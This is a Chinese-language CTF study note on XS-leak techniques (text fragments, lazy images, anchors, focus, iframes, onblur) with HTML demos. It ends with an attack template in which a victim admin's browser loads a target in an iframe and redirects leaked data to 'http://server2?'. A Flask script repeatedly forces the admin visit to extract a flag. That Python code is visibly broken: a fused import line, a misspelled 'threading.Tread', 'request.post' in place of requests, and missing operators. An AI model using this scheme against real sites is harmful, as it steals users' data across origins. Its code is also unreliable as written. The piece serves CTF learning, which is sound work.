XS-leaks信息泄露利用方法
这段时间遇到了好几个XS-leaks的题目,在这里记几个有关知识点和相关题目
XS-leaks信息泄露介绍很多的一个WiKi:XS-Leaks Wiki
锚点#:~:text=xxx
相当于依据聚焦的描点,如果稳重有内容xxx的话就会滑动到对应位置
PS:这个功能在火狐没使用成功,但是在Chrom时候没问题的
此外,xxx
的内容还可以使用一定格式来进行匹配,但是并没有找到格式定义的介绍
具体描述参考 https://xsleaks.dev/docs/attacks/experiments/scroll-to-text-fragment/
img标签属性loading="lazy"
当img标签属性带有loading="lazy"
的时候,就会对这个图片执行懒加载,意思就是只有当进度条或者画面加载到这个img标签所在的地方的时候才会对图片进行加载,在此之前,图片内容都不会加载出来
#:~:text=xxx
和图片懒加载的配合使用可以参考[LINECTF2022]title todo
锚点#id
当一个链接后面加上了#id之后网页页面就会聚焦到对应id号随对应的标签
代码语言:javascript复制<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
<a id="continue" href="/">Continue Guessing</a>
</body>
</html>
当访问url#continue
就会自动聚焦跳转到页尾的continue标签处
script的focus()函数
代码语言:javascript复制<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
<a id="continue" href="/">Continue Guessing</a>
<script>
document.getElementById("continue").focus();
</script>
</body>
</html>
document.getElementById("continue").focus();
和上面一样,会聚焦到id为continue的标签处
window.open函数
代码语言:javascript复制<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
window.open('/xxx1.html');
window.open('http://127.0.0.1/xxx2.html');
</script>
</body>
</html>
上面代码会先新建一个窗口打开当前url根目录下的/xxx1.html
页面,然后再新建一个窗口打开链接http://127.0.0.1/xxx2.html
iframe标签
代码语言:javascript复制<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
<script>
window.open('http://127.0.0.1/工具-CTF/XS-leaks/id2.html');
var ifr = document.createElement("iframe");
ifr.src = "http://h0cksr.xyz";
document.body.appendChild(ifr);
</script>
</body>
</html>
iframe标签会加载出一个页面的画面并且以框的形式显示出来,而且html页面的全部内容都会被加载到这个iframe
标签里面,我们也可以通过url结尾处添加#id
的方式聚焦到ifram标签里面的某个内容
onblur 事件
当用户离开输入字段时执行 JavaScript,这个代码可以使js代码也可以是调用一个函数
代码语言:javascript复制<!DOCTYPE html>
<html>
<body>
<input type="text" id="input1" onblur="myFunction()">
<p>当完成输入之后退出输入框就会执行myFunction</p>
<a href="http://h0cksr.xyz" id="a1" onblur="myFunction()">url</a>
<p>当点击连接之后就会执行myFunction(如果是当前页面打开href链接的话不会弹窗)</p>
<script>
function myFunction() {
alert(1);
}
</script>
</body>
</html>
用法
如果是让管理员访问指定链接的话,我们可以
- 让admin访问我们将会加载
ifram
的页面,访问某个链接 - 写一段js代码,对返回的ifram标签进行分析
- 进行差异化处理,如果分析返回的ifram标签发现带有某个特殊的属性,就对记录这个能返回特殊属性的链接
- 将返回带有特殊属性的链接进行传递(可以写个python服务接收或者写入文件)
这样,我们可以写两个服务
服务一:
搭建一个python服务返回下面html内容
作用:让admin访问的中间跳板以admin访问http://target.com
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
var ifr = document.createElement("iframe");
ifr.src = "访问链接";
ifr.id = "idd";
document.body.appendChild(ifr);
</script>
<script>
var ifr = document.getElementById("idd");
var special = 对ifr进行分析获取某个特殊差异化的属性;
if(special == "想要的结果"){
window.location("http://server2?" 产生差异化的访问链接);
}
else{
其它处理
}
</script>
</body>
</html>
服务二:
作用:不断让admin访问服务一的页面并对返回的差异化结果进行分析处理
代码语言:javascript复制import requests,timefrom flask
import Flask, render_template, request
app = Flask(__name__)
flag=""
@app.route("/")
def analysisServer1():
url="服务一访问当前服务的链接"
special="从返回结果提取出产生差异化的数据"
flag ="新的字符数据"
def adminToServer1():
while 1:
url="http://target.com"
data={"url":"服务一链接" flag}
request.post(url,data=data)
time.sleep(1)
if __name__ == "__main__":
threading.Tread(target=adminToServer1).start()
app.run()
题目练习:
[LINECTF2022]title todo
[HSCTF2022]hsgtf
[HSCTF2022]markdown-plus-plus
xss的各种用法可以参考这里:https://www.jianshu.com/p/1bad825bb13f